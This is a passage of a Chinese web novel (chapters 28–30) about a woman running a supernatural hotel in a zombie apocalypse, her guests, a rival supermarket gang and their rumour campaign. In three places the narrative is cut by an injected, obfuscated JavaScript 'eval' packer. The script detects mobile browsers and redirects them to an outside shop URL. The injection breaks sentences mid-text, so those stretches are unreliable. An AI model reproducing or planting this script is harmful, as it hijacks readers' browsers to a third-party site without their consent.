何莱给了她一个赞许的眼神，也上前去，扬起声音顺带让那对一直耐心等待的中年夫妇听见：“我们酒店发行翡翠币，与晶核的兑换比例是一比一，盒饭二晶核一份，住宿一晶核一晚。” 中年男子皱着眉头，想了半天，再开口的语气还是不满：“你们盒饭卖贵了，我买两份，三晶核行不行？” “不行。”何莱说：“四份的话七翡翠币可以。” “嘿，怎么还讨价还价上了！”系统说。 “他们人多，我有得赚。”何莱在心底又小声补充一句：“主要是他们人多，我有点担心。” “别怂啊。现在酒店里明面上好歹有四个异能者，其中两个还是强力攻击性的，放在哪都算是个不小的势力了。”系统怂恿她：“别怕，摆出你是这块话事人的气势来！” “强力攻击性？谁，我吗？”何莱苦笑。 秃头的中年男人冲她瞪了瞪眼，余光扫过周围一群已经靠上来自发看热闹的“店员”们，最终动了动嘴唇，嘀咕着什么掏出了七枚晶核扔到前台桌上。 “这交易态度真是太烂了！”系统义愤填膺：“这你能忍？” “做生意嘛，不寒碜。”何莱心态良好地接过来，当着男人的面把晶核扔进兑换机器，滚出来圆形的精致货币，收进前台桌最新进化出来的上锁小抽屉里，蹲下从前台桌下方的储物格里装模作样抱出来四份还带着温度的盒饭：“您拿好，中午刚做的，请慢走。” 男人站在原地，不放心地把每一份盒饭都打开，仔细检查完才快步离开酒店。外边围着的超市成员看见男人带着几个年轻人抱着东西出来，立刻不怀好意地围了上去。 何莱站在门前，皱眉看着男人的应对——只见那看上去不起眼的秃顶男怒喝一声，抬起手冲着拦在最前面的两个超市成员，从掌心冲出一阵小型飓风，将那一群超市的人裹挟着卷上半空又重重摔下。 趁着一片混乱，中年男人拔腿就跑，紧紧抱着盒饭，没有刚才那副不可一世的傲慢模样了，身后跟着的那几位也慌乱地紧跟上。 28.母鸡、绵羊和蜥蜴进行曲28 “啊，真是藏龙卧虎的末日客人们啊。”何莱说。 “没想到他竟然也是异能者……” 许约棠站在她旁边，充满遗憾地叹气：“忽然好像全世界都有异能了，怎么我就没有那个运气呢？”数量稀少的异能者最近仿佛在大搞批发满街走。 吴亓和许在杉两位异能者站在后边，系统也保持了礼貌的沉默。 “好吧，虽然他看起来很没礼貌，但至少是我们正式对外营业的第一笔收入。”何莱拍拍手，重振心情：“看他打扮模样还挺整洁的，可能也是附近某个基地的吧。” 她扭头望向那对中年夫妇：“不好意思久等了，请问需要什么呢？” 那位妻子站了起来，带着一丝窘迫：“我们没有太多晶核，还要吃饭的话......请问房费可以一天一天付钱吗？”她恳切地补充：“会按时交上的，我们每天都会出去杀丧尸的。”旁边的丈夫有点羞愧地扯了扯她的衣服，但也没有出言阻止妻子的求情。 “行啊，每天晚上睡觉前交上就行。”何莱站到前台，用手指点了点兑换机：“来，把晶核丢进去，我收翡翠币。怎么称呼你们呢？” “谢谢，谢谢！”女人紧张地上前，从包裹里掏出一个小的布包，里边紧紧裹着六颗被压在一起的晶核，她快速地在桌台上摆开给何莱看，又小心翼翼地一颗一颗丢进兑换机，将出来的圆形货币递给何莱：“给你，一天的房费......谢谢啊！” 她表现得很感激，丈夫跟在后边也木讷地重复着谢谢，没忘了做自我介绍：“这是我老婆张兰，我叫陈川，都是普通人，我们是普通人。”在末日的荒野里流浪得太久，忽然进入了人类文明的聚集地，明亮安全愿意收容，给他们一处喘气的空间，两人都显得欢欣期盼，哪怕此刻手头窘迫，他们也很满足于当下的安稳。 “好的，我收到了。在办入住之前我得提醒一下......”何莱指向门外：“附近超市的人就在外边，搞不好他们会围住酒店一段时间。”她得让这对要加入的夫妇提前做好心理准备，这阵子或许从酒店里进出都成问题。 超市那帮人一开始放行这些客人，估计也是想探探酒店的深浅，尤其是想看阻拦他们进入的“异能”究竟能做到什么程度。等他们摸清楚了，恐怕就又要采取下一步行动。 何莱倒想看看，这群丧心病狂的末日混账们还能做些什么。 “啊......”陈川担忧地看向张兰。张兰勉强挤出一个笑，对何莱说：“没事，姑娘，我们看着来。实在不行，到了晶核用完的时候我们走就是了。”先进来再想办法，他们只想好好地睡一觉，或许醒来就会有主意。张兰这么想着，陈川则想得更多，从他们跟在刚才那个异能者身后，顶着超市压力踏进酒店的这一刻起，就已经做出了选择。现在要想退出去也不可能了。 “好，你们心里有数就行。”何莱收下翡翠币，帮他们办理入住登记后领着人上了楼。 “系统，下次升级后有地下通道之类的选项吗？”何莱在心里发问。 “没有，我们这里不是地道战剧组，你走错了。”系统懒懒散散地回答：“但你可以自己挖，异能者不用白不用啊。” 蓉姨在大厅里踱步，怀里还抱着母鸡菲菲，被她温柔地一拍一拍。自从酒店升级后，动物们也有了自己的住处，终于不需要在大厅里天天挡路绊脚，于是大家连带着对它们的态度也好了许多——毕竟按照店长的说法，那三只也算店员。 除了鸡的饲养有点难伺候以外，剩下两只都是能带出去自己啃点草皮树叶的。 把中年夫妇送上楼，安顿在那对小情侣隔壁，何莱回到前台挠了挠头：“我怎么感觉今天突然来了好多人？” “店长。”王守诚突然出声，外边超市的人手忽然增加了一倍，并且一副要围住大门的阵势。 “他们要开始围困了。”何莱冷静地接受，她皱起眉：“以前倒是无所谓，但如果现在新到的客人也无法自由出入，难免会影响他们的生存。”酒店的发展已经初见规模，种植园不够平衡消耗，人数到达一定量后也不能像从前那样物资共享彼此照应，这是他们一定要面对的改变。 王守诚摊开手：“需要想一个办法去收集晶核。” “我们有办法！”双百百高高地举起手。 原来梁画和双百百发觉她们并没有体能和战斗方面的天赋，得到酒店庇护后又对比于谢珂奋不顾身的保卫战表现，只能聚在一起苦思冥想，更加振奋地要为酒店出谋划策——她俩虽然看起来很菜鸡，但可以走智囊路线啊！ 两位姑娘决定在后院里挖出一条通往外界的秘密地道来，已经画好了图纸。 “你们还是小心点，别把围墙挖塌了。”谢珂得知计划以后不安地看了她们几眼。 “我可是从策划部干出身的！”双百百一拍胸膛。虽然直到现在都还没有转正吧…… “这样，你们先试着行动。我再看看超市的人还想要做什么，我们随机应变。”何莱把通往后院的钥匙也分一把给她俩：“小心不要遗失，目前除了你们就只有蓉姨和戴奶奶持有菜园的钥匙。” 目前二楼的客房布局为： 201王守诚&王唐（糖糖） 202徐冬青&许约棠 203许在杉&吴亓 204蓉姨&冬奶奶 205葛爷爷&高爷爷 206黛奶奶&春奶奶 207梁画&双百百 208谢珂 209倩姐 210秦文龙&杜曼（新入住的情侣） 211陈川&张兰（新入住的中年夫妻） 加上店长何莱共计21人零三只动物余一位系统管家的灵魂，还剩下九间空房。 第二日，双百百带着两位好友在后院里埋头挖土，王守诚也去帮忙，那对新来的中年夫妻还在房间里没有出来，但情侣出来四处走了一圈，看上去恢复良好。 得知超市已经将外边围住，进出可能会有危险，秦文龙搂着女朋友一直皱眉。这位年轻人站在酒店大厅里对着外边的人群看了半天，没有勇气走出去试试水，最终硬着头皮来到何莱旁边：“店长，我能和你谈谈吗？” “行啊，要买盒饭还是兑换翡翠币？”何莱说。 “你看，现在这样被关在这里，我们也没办法出去杀丧尸，买不了你的饭，这该怎么办呢？”那年轻人说得合情合理，语气也变得理所当然起来：“我们好不容易找到可以落脚的地方，钱也交了，现在这样算什么事？我觉得......不如在被封着的期间，酒店免费管饭。”他说：“也不是欺负你，一天一人管两顿就行了。” “嚯。”系统说。 “其实在你们登记的时候，我就已经提醒过会出现这样的结果了。但你们说没问题。”何莱叹一口气，那对情侣入住的时候她同样给予了提醒，只是两人都急切地想要先住下来进房间里休整，一副惊魂未定的模样，说什么都点头。 “这样吧，我退你房费，让大家配合你演一场戏。像是被酒店赶出去的，超市那边针对的是我们，你们作为新到的客人应该不会被针对。” “不行啊。”秦文龙还是皱眉：“我们都来了酒店里了，出去说不定也还是会被超市的人记恨。都是因为进了你们的酒店才会变成这样，我觉得你们还是得管饭才行。”他几乎要把自己说服了，言之展昭地点点头。 “不行。”何莱摇头：“酒店已经严重亏损了，管不了饭。既然这样，你们之前是在哪一块待的？我想想办法，把你们偷偷送出去，不惊动超市。”她看一眼被锁上的菜园铁门，地道的事情目前还没有告知更多人，她想等等看。 “那也..... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573938|142931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .我们都交了钱了。”年轻人还在死缠烂打，说不出更多章程，就是在重复着让何莱负起责任。 “系统，驱逐最多可以到多远？”何莱问。 “只能到酒店外边。”系统说：“我也建议你把他们药晕，连夜从地道里扛出去。梁画的图纸没有问题，那个叫百百的，倔地比牛还厉害，最迟今晚就能挖通了。” “……我替她谢谢你。”何莱垂下眼。 “反正，你给个话吧！” 年轻人越说越急，何莱看得焦虑，只能继续耐心安抚：“我会退钱给你。” 她同时望了望外边死死盯着前台这边的超市成员，有一种隐隐的不安。酒店的神秘之处逐渐披露，那群丧心病狂的人抢掠惯了，想要占为己有的心越发强烈，总觉得他们会在始终无法得手后干出狗急跳墙的事情来。 面前那年轻人的脸涨得通红，怎么说都觉得自己的想法很有道理，奈何店长不肯让步，让他生出了几分恼火之意，冲着何莱刚放开嗓子嚷嚷几句，就被路过的倩姐瞪了一眼。 “别理他，这种人我见过了。”倩姐不屑道：“难道不来酒店，别的地方就安全吗？谁能保证不被超市那群烂人缠上？又不是不让你走拖着你，怎么一天到晚总想着别人买单？”她往前台旁边的小椅子一坐，靠在桌上好整以暇地看着被她戳中心事的客人。 “你！”秦文龙指着倩姐，愤怒之下竟一头跑了出去。 “啊？”何莱探出脑袋。 “他跑出去干什么？”倩姐也诧异。 只见那家伙对着外边围堵的超市成员迎了上去，神情激动地比划着说话，半天之后转过头来。秦文龙盯着何莱的表情里多了一层得意的挑衅之意，他大步往酒店这头走，想要回来再和何莱说点什么，却发现自己已经被挡在了大门之外，无法推开。 “哦，他刚才加入超市了。”何莱说：“可能是那边管饭吧。” “……把我的行李还给我！曼曼！把我的包拿出来！”秦文龙在楼下声嘶力歇地往楼上喊，又从地上捡起石头往上扔去：“曼曼！你给我出来！” 他那位女友之前已经先行回了房间，此刻白着一张脸，艰难地将秦文龙的背包从房间里拖出来。许在杉看不过去上前帮忙，却发现那姑娘抖得厉害，被许在杉扶着下楼梯的时候甚至还抑制不住哭了出来，眼泪滚滚地砸在地上。 “这是怎么了？！”一脸泥土的双百百从后院钻出来找水喝，一抬头就被哭泣的杜曼给吓了一跳，左顾右盼，发现众人都面色凝重地盯着那个姑娘看。 “姑娘，发生什么事情了？你想离开吗？”许在杉低声问：“你们昨天交的房费还可以住一个月，这期间的食物可以靠晶核兑换，我们会有外出杀丧尸收集晶核的小队，你可以加入。” 杜曼只顾着抽泣，浑身发抖摇头。 谢珂也走了出来，见状搭腔：“实在害怕的话，我可以先借你一点晶核向店长买盒饭。等过阵子吃饱恢复身体，出去杀丧尸回来你再还给我。”她头一次说这么多话，露出有点累了的表情。 “曼曼，你在等什么啊？快点出来！”秦文龙用力砸着酒店大门的玻璃。 “喂......”何莱有些看不下去，心疼地望着大门。 “我不想——我不想再走了！”杜曼发出一声短促的尖叫，竟然坐在原地嚎啕大哭了起来，吓呆了打开房门刚准备下楼的王唐小朋友和他肩膀上的蜥蜴。 “他做决定、根本不管我、我的感受，每次都、拉着我——呜呜，我根本不......不想离开上一个基地，还有后边的团队！每次都，强行、逼着，拖着我一起走。”杜曼哭得歇斯底里，断断续续地讲述着她积攒的委屈：“好不容易到了一个正常的地方，我实在、实在不想再过吃不饱的生活了，他每次都吃掉我的食物！”她发出一阵哀嚎，抬起骨瘦如柴的胳膊。 29.母鸡、绵羊和蜥蜴进行曲29 “你……你这是在胡说什么啊曼曼？”秦文龙疯狂地锤着酒店门：“快把我的包送出来，我那是担心你吃不完，你们女生饭量小点很正常！” “去你妈的，把你的手从玻璃上拿开。” 许约棠将峨眉刺从玻璃门的缝隙里猛地捅出去，一旁的店长已经要因为担心玻璃而晕厥过去了。 “别怕。你不想走，就没人能逼你离开。”谢珂扶着杜曼来到大堂，提着秦文龙的行李包：“里边都是他的东西吗？你有没有什么在里边？” “晶核。”杜曼委屈地抹眼泪：“里边有我的晶核……他每次都说替我存着……一直什么都归他管，所以我根本不敢提分手。”她又低下头去：“我在外边这个样子……什么都没有，离开他活不下去的。”她一直挨饿，没有力气，又被长期规训，逐渐失去了反抗的勇气和能力。直到进入酒店，洗漱完睡了个好觉，勉强吃了点东西，又看见有这么多在酒店里正常生活的人们——被男友一直归类为“累赘”的老人，小孩，女人。杜曼逐渐想起，在她被迫绑定和“依赖”男友之前的生活。 “恶毒的家伙。”吴亓冷哼一声，推开大门，秦文龙眼前一亮，和超市的人就要往里冲，直接被吴亓抬手的一块冰给砸了回去，众人就这么对峙在酒店门口。张荆不在，那群人还是忌讳异能者，你推我搡地不肯上前做出头鸟。 “其实他们进不来的，你有和吴亓说吗？” 系统懒洋洋地开口。 “我知道，但为了不让他们更关注酒店，还是忍忍吧。”何莱看着谢珂在那里替杜曼掏行李包，抓了一把又一把晶核放到她手上，而对面的秦文龙看得两眼发直，爬起来又要往前冲，被谢珂甩过来的行李包直接砸中了脸，往后狠狠地摔去。 “好了，酒店打烊。”何莱关上大门，又低头看一眼趴在地上的秦文龙，眼神凶狠：“你要是再敢砸门，我就用毒箭射你了。”她指了指王守诚抱着的王唐小朋友：“我这只蜥蜴可是有毒的。” 王守诚脸色一变。 糖糖迅速松开手中的蜥蜴。 “我骗他的！”何莱回过头做了个口型，又紧急追问系统：“等下，这蜥蜴到底有没有毒？” “目前是没有的。”系统说：“但未来的事情谁知道呢？” “……”何莱稍微松口气。 夜晚快要降临时，母鸡菲菲终于下了它鸡生第一颗蛋。 “天啊！”双百百惊呼：“它好伟大！一只鸡自己也可以下蛋吗？” “它开始有安全感了。”许在杉抚摸着母鸡，又掰开它的鸡喙仔细查看，趴在地板打量菲菲：“这只鸡的年龄不大，应该还有一两年的产蛋期。未受精的鸡蛋不会孵化成新的生命，但是当做食物已经很好了。” 他望向菜园的眼神忽然充满了希望：“这里肯定还有虫子！菲菲可以吃虫子增加营养，说不定一天能下两次蛋，以后可以让它去菜园里走走。” “它不会把菜给吃了吧？”吴亓很担忧。 “那就把它吃了。”何莱冷酷地开口，随后专注地盯着那头绵羊：“在杉，能想办法让它产奶吗？” “……我试试吧，好像学过。许在杉挠着脑袋努力回想：“嗯，假孕的那一节课……” 酒店里一派欣欣向荣，而外边的秦文龙蹲在树底下，脸上和后脑勺的伤口还在疼痛。他有些恨恨地扯过背包。一旁的方洪丢过来一小包牛肉干：“老大给你的。” “谢谢！”秦文龙惊喜地接过来，迫不及待地撕开包装，陶醉地深吸了一大口，往嘴里猛地塞几块，继续愤愤地望向酒店的方向：“那贱女人......” “喂，老大让我问你。”方洪拍着他的肩膀，冲着酒店那边抬了抬下巴：“你今天见到那边叫何莱的店长了吧？这娘们有点古怪，老大问有没有办法搞死她？” “嗯......”秦文龙用力扯咬着包装袋里的牛肉干，脑袋里不断转着主意，盯着酒店的牌匾思索。又过了许久，等到方洪开始不耐烦，差点想要来硬的揍他一顿时，秦文龙站了起来。 “有办法。”他露出一个充满算计的笑容：“但我不对你说，带我去找你们老大。” 方洪盯着他看了一会，挤出一个狞笑来：“小子，你最好别耍花招，到时候我会让你后悔没有在今晚就被丧尸撕成碎片。” 他用力揽上秦文龙的肩膀，将他绊得一踉跄，直接往前带着走：“老大在疗养院，跟我来。” 秦文龙老老实实地被带着走，只是眼里时不时闪过一丝奇异的光芒。他不甘心只做一个在末日中努力生存的普通人，凭什么？所以他一直在末日里不断奔波找寻，为自己图谋更好的去处。 现在竟然在这种情况下实现了他“一步登天”的幻想——那些异能者和团队领头的过得舒舒服服，被捧得高高在上，凭什么就他秦文龙一个人挣扎受苦，像尘埃一样被淹没？ 他想，命运马上就要改变了。 但在疗养院躺椅上的人是吕田广，不是张荆。军师看见秦文龙低着脑袋走在方洪身后进来，又听见方洪快速上来在耳边讲了一句，吕田广望向秦文龙的眼神瞬间变了。 “就是你想见老大啊？”超市里的军师吊儿郎当地开口，在秦文龙挤出笑容点头的时候忽然发难，将手中的对讲机猛地砸向那年轻人，又起身用力将他踹倒，随后仍不解气地又踹了几脚，嘴里骂骂咧咧地吐着不干净的脏话：“妈的，毛都没长齐的东西，就敢在你爷爷我面前玩心计了！见老大？老大是你能见的吗？” 被莫名毒打一顿的秦文龙蜷缩在地上，痛苦地拱起后背抵挡伤害，连连呻吟告饶着，终于让发泄完的吕田广停了下来。 这次在酒店里的失败让王荆很是恼怒，身为智囊的吕田广因此受了不少气。他本来就是个只擅长吹嘘拍马的，方氏兄弟就是他的马仔，专门负责逼着手下的人出些主意，想不出就打到他们说出来为止，再全部伪装成是吕田广自己的想法，以此来让王荆越来越倚重他，连带着方氏兄弟也能得到好处。 超市物资充足，所有收集到的晶核基本上都被王荆给搜刮走了，美其名曰要强化异能。只有最顶层的几个人才能分到些指缝里漏出来的，他们无论谁都不想再来个莫名其妙的毛头小子一起分这块本就可怜的蛋糕。 “你到底说不说？！”方洪见秦文龙只在地上趴着喘气，不耐烦地又踹上一脚，他的力度极大，几乎让秦文龙眼冒金星，哇地一声吐了出来。 “不说就拖出去，绑在树上，护住关键的部位，让他别死太快，搞两只丧尸来。”吕田广颇为恶心地走远了一点，挥了挥手。 “我说！我说！”秦文龙手脚并用地拍着地板，生怕被拖出去折磨，连滚带爬地来到吕田广脚边：“可以放出风声！大肆宣传这个酒店有多好，而且丧尸进不去，说他们物资多的用不完！”秦文龙的表情有些决绝：“不！说他们能变出吃不完的盒饭，我看见了，有肉，我们说夸张一点，不愁没有人对酒店动心思！” “蠢货！”吕田广面露无语：“编也要编个像样的。就算他们信了，到时候那么多人盯着抢，我们还怎么抢走酒店？” “这……”秦文龙一愣。 “拖下去！”吕田广不耐烦地转身就走，方洪闻言直接将秦文龙拎了起来。 “不要啊！是你说想要她死的！你是这么说的啊！”秦文龙奋力挣扎着，吓得鼻涕眼泪全都出来，不管不顾地大叫道：“你骗我！我就知道你骗我！” 半小时后。 “……瞎胡闹。” 超市的办公室已经被改成了王荆的休息室，布置得敞亮舒适，吕田广站在他身后替他捏着肩膀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583015|142931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，王荆的身上还留着在酒店的伤口，心情明显很差。 “这也是没有办法的办法了，老大。”吕田广俯下身子，极尽谄媚之态：“一直派人围着酒店，长期下去我们也耗不起。既然得不到……”他在灯光下露出一个瘆人的笑容：“就毁掉。没了这座酒店，那些走投无路的人又少一处庇护，您在这座地区的统治才会更稳固啊。”他说：“等哪天，甚至还能建起基地来。” 军师的眼睛在灯光下露出一份贪婪。 王荆最终还是同意了。超市派来围在酒店外边的人因此也悄悄散去了大半——前往各大基地，流言散布的得很快，何莱只觉得这几天生意莫名其妙地好了起来，光是第二天零零散散地进来了有七八人，进店以后没有住下，反而神神叨叨地打探便当的价格。得知二晶核以后也没有被吓退，更有甚者毫不犹豫地买了十份赶回自己的基地。 当然，这几天里陆陆续续又有几位留下来的客人，那对此前入住的中年夫妻也终于走了出来，酒店内部的客人们缓慢接触和熟悉着新来的同伴。双百百忽然发觉自己很有接待的天赋，搭配蓉姨的自来熟唠家常式摸底，登记客人瞬即就朝着30人大关狂奔而去。 在翡翠酒店外的废弃烂尾楼，也因此聚集了一波幸存者们。往日空荡的荒凉景象此刻被在篝火与人群替换，骤然变得温馨了许多。 “妈妈，这个真好吃！”一家三口默默分着半份翡翠酒店发售的盒饭，被倒入铁罐中搅拌均匀，加入外边采的野草，这就是一顿足够维持三个人晚餐的美味了。 被称呼为妈妈的年长女性幸存者微笑着摸了摸孩子的肩膀，又看向一旁的丈夫，充满感激地依偎在他的肩膀。 “多亏了你打探来的消息。”女人说：“这里真的是个好去处。” 男人掏出口袋里剩下的两个翡翠币，自从他在附近的小基地外游荡，意外听说了这一处地点以后，便毫不犹豫地带着妻女赶来，将所有晶核都兑换成了货币。这些天来翡翠酒店一直开门，稳定地提供着食物，让他们这些在外奔波无处容身的幸存者们找到了生存最基本的保障，自称店长的经营者还允许他们去厨房里接点水喝。 虽然大堂里板着脸气势吓人的店员众多，据说还有足足六个异能者，但好在那些负责运营经营点的管理人员们只是在乎大家有没有好好排队，没有在外边遇到的那些异能者们盛气凌人的模样。 “这样的日子，能有一天就是一天吧。”男人珍惜地摸了手中剩余的翡翠币，从那里兑换来的一份盒饭就够他们一家三口维持一天半的能量了，至于住店，他还舍不得。 这些天相对规律的进食让他的身体状况比以前好了许多，一家人暂时在附近落脚，东躲西藏凑合着居住。这块不知为何，丧尸也没有外边那么多，男人觉得自己或许可以努努力，一口气攒够晶核，将老婆和孩子稳定安置在安全的地方，自己出去赚取晶核，每天购买酒店里的盒饭。 男人轻轻拍着孩子的手臂，搂着老婆，在篝火旁分吃着这份珍贵的盒饭。 “店长，有没有被对手化干戈为玉锦的情谊感动到？”系统不怀好意地嘲笑道：“他们那猪脑军师还真的觉得捧杀这招在末日中有用。” “啊？他们又做什么了？”正在低头记账的何莱笔尖一顿。超市的人这些天还围着酒店，但因为人手骤减，所以对那些过来购买盒饭又离开的过路人们没敢出手。而酒店的地道终于在这几天内挖通，出口其实距离当时他们经过的小公园很近，不过在相对隐蔽的巷子里。已经定居下来的客人们有需要的话，都会从这条秘密通道进出。 “各基地无论大小，都接到了通知。说希望基地并没有完全消散，反而有一处经营点现在活得很好。”系统一板一眼地开口：“好好珍惜你的敌人吧，这是你这辈子能遇到最蠢的一批了。” 30.母鸡、绵羊和蜥蜴进行曲30 “喔。此话怎讲啊，军师？” 何莱头也不抬继续奋笔疾书，这几日的盒饭生意稳中见好，她手中的晶核充盈，倍感安心。 “他们把酒店吹得天花乱坠，觉得一定会引起众人的贪欲，这样酒店就会被围攻夺取。”系统说：“蛮会想的。但事实上是，零散的幸存者不敢存有这样的心思，而大型的基地也不会直接相信这样匪夷所思的传闻，最多派一些人来试探。”超市的那一折腾，反而让翡翠酒店的存在在众人面前过了明路。 “他们具体说了什么？”何莱心不在焉地挠挠耳朵。 “超市的人胡扯了很多，比如这家翡翠酒店的物资无穷无尽，比如它的大门是铜墙铁壁能拦住敌人。比如你是个慷慨的蠢蛋会免费赠送落难者食物——那个叫秦文龙的蠢货倒是臆想了不少美事。但我的大门从不拦别人，你用了异能做借口，加上外边那群紧张兮兮的鹌鹑店员……大家只会觉得翡翠酒店名不副实，超市本身就名声差，亲爱的店长，借刀杀人这昏招，他们不是第一次这么干了。”系统说：“有脑子的人估计也能猜到，是超市整出来的坏主意。” 何莱没有理会系统藏在播报里暗戳戳的挪揄，前期的客人们到现在的确都担负起了店员的职责……也算是对前期何莱偏袒照顾的回报。翡翠酒店在她编造出的谎言加持下，逐渐有朝着一方势力的发展趋势。 “说到这个，离开投奔超市的年轻人，他前女友杜曼，我有点担心她。”心怀每位客人的店长皱紧眉：“自从那家伙走了以后，杜曼就一直把自己关在房间里不肯出来。” “每个人都会有这样的时刻吧。”系统淡淡地将话题带过去：“你不如趁此机会把酒店发展起来，已经有了基本的战斗自保能力，正是扩张的好时候。” “是。我想着尽快招揽到三十人升级，趁现在还没有引来所有人的注意力，还能遮盖过去。”何莱说：“我打算把盒饭都放到厨房去，来一个人就让冬姨现炒一份拿出去，对外宣称每天限量出售，对每个人都说只剩下最后几份。”她在纸上圈画几下，很快有了打算，匆匆写下方案。 “我们的异能者……也可以包装一下。”何莱想到这里，眼前一亮。 “不错。”系统似乎对她的安排很满意，重新陷入了沉寂，静待店长的后续表现。 “呵。真是小基地的炒作手段。这希望基地都没重建起来呢，就把牛吹得满天都是。简直为了抢人不择手段。”永恒基地里，一位民兵带着探听来的传闻，在影视城偏殿堂里大肆嘲弄这个在近日迅速名声大振的翡翠酒店。 “嗯，听听就得了。” 曹麦放下手中的粗粮面包，发出一声很轻的冷笑：“物资充足，绝对安全，人间天堂？”他眯起眼睛：“百分百的陷阱。” “雷霆基地已经派人过去了。”坐在上桌的曹翼禾大队长不为所动，但在吃了几口干粮以后，突兀地叹了气：“曹麦，你今天收拾行李。把手上的任务交出去，去一趟那个地址。” “这明显鬼扯的谣言，你也让我去？”曹麦睁大眼睛：“那散播消息的人也查出来了，又是超市的人。我们不是一直不跟他们来往吗？满嘴烂话的东西……没一句真的。指不定这次又在打什么主意。”最后一句他是小声嘀咕的，如果何莱在这里，一定会挑挑眉——这位队长的性情似乎在经历湖上战争后有了些微妙的变化。 “你不去的话，我去。”坐在他对面的少女冷冷地开口，短发稍微留长了些，稚嫩的脸蛋上多了几道伤口，眼神却清亮依旧。吴悠放下手中的蔬菜饼，她手上的战术手套大了一码，只露出一点手指，握紧匕首主动请缨。 “曹麦。”曹大队长不满地开口，语气加重了些。 “......行。”曹麦用力咬一口手中的饼子，一副认输的模样：“吃完饭我就出发。这些天城墙的巡逻要拜托吴队长帮忙看着点了。” “没问题。”吴悠收起刀，继续低下头吃她的餐食，一副不想多跟任何人讲话的模样。 翡翠酒店的大堂里，双百百和梁画摆出一副忧愁姿态，对着不停追问盒饭来源的客人叹气，开口自然地“吐露烦恼”：“希望基地里带出来的食材再不处理掉就会腐烂。我们基地蒙难，只剩下我们几个异能者撑着这里，原本该来的成员都没有成功赶到，只能这么以出售盒饭的形式增加创收，重新把这里运营起来，说不定还能等到成员们赶来。” 她们拼凑出一个半完整的故事，又叹一口气，有几分楚楚可怜的落泪意味。已经有看不下去的客人上前安慰，王守诚站在旁边帮忙从厨房里送出刚做好的便当，他被分配到的身份是希望基地派出的特别保护小队，而何莱则被包装成了希望基地负责幕后运营的最高层指挥官副手，从不露面，设计并维护着这家酒店，拥有着特殊的异能。 许在杉与许约棠是一对分别拥有防御与攻击类型异能的打手——甚至葛叔也被安排了一个科研专员的身份，加上吴亓和骤然从空中掉落的扫帚——系统声称当时只是失误，但此类失误让一群客人们坚定不移于翡翠酒店里至少有六个以上的异能者，是希望基地留存的尖锐力量。 一时之间，倒还真的震住了不少人。 谢柯冷冷地站在门口，她接到的任务是用眼神扫视每一个进门的客人，起到威慑的作用。 忽然有一个和她年纪相仿的姑娘小跑上来，谢柯用眼神敏锐地扫过去，收获了一个......崇拜的眼神。 “请问您是何莱副官吗？”那姑娘的脸也圆圆，身材匀称，一看就是在末日中也属于过得很好的那类：“我是食品加工厂那边派过来的，想要和您谈谈合作的事情......”她的语速快得让谢柯根本来不及打断，那姑娘一个劲往前凑：“我们听说了您的事情，真是太厉害了！您是美食系异能？可以做出前所未见的美食？我们工厂愿意提供材料，和您讨论一下合作经营的事情。” “我？”何莱从门口走出来，迷茫地指向自己：“我是空间系异能啊。” 她在心里叫了一声系统，伸手打了个响指，手中凭空出现一只惊恐的蜥蜴。 聚集在大厅的客人们发出惊叹的声音。 “好捧场啊。”何莱嘀咕。蜥蜴奋力挣扎着想要爬回原本午睡的店长枕头上去，倩姐从二楼下来帮着客人们算着晶核，有眼尖的基地成员认出了她：“这不是疗养院的倩姐吗？您也来这儿买东西啊。” “疗养院……已经没有啦。”倩姐露出苦涩的笑容，抬了抬下巴，故意放大声音让众人能够听到：“那群超市的人砸了疗养院，还杀了所有的人，只有我们母子和几个老人逃走活了下来。”她向熟悉的人递过去盒饭，从对方手中拿过两枚晶核交给何莱，继续添一把火：“他们又看上了酒店，之前来试探过一次，发现打不过我们这边的人，就开始到处传谣，最近越听越夸张了。”她假装不经意地问了问客人：“你们听到过吗？” “啊这样啊......”有客人听到之后尴尬地笑了笑，移动脚步开始往后退去。这种涉及到团队争斗的事情，大家都想避开。特别是一些有其余基地背景的，更是生怕自己一不小心被卷了进去，连带着背后的基地也惹上麻烦。 何莱垂下眼，这是可以理解的。 时间又过两天，小有名气的酒店热度不断发酵，前来购买盒饭的人数络绎不绝，超市的人在外边看得都呆了。但碍于来往的各大基地成员，给他们一百个胆子也不敢选在这个时候发难动手，打断众人之间热火朝天的交易。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591573|142931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 相应的，入住酒店的客人数量已经增长到惊人的二十九人。从大厂出来的姑娘三人组不断根据店长提供的最初版本完善编造着背景故事文案，往里边添加细节，对齐差距，倒是支撑着一直没被怀疑戳破，勉强相安无事地运营着。 深夜，剩余的客人们都在熟睡。何莱与一圈最初入住的核心成员围坐在沙发旁小声开着员工会议。 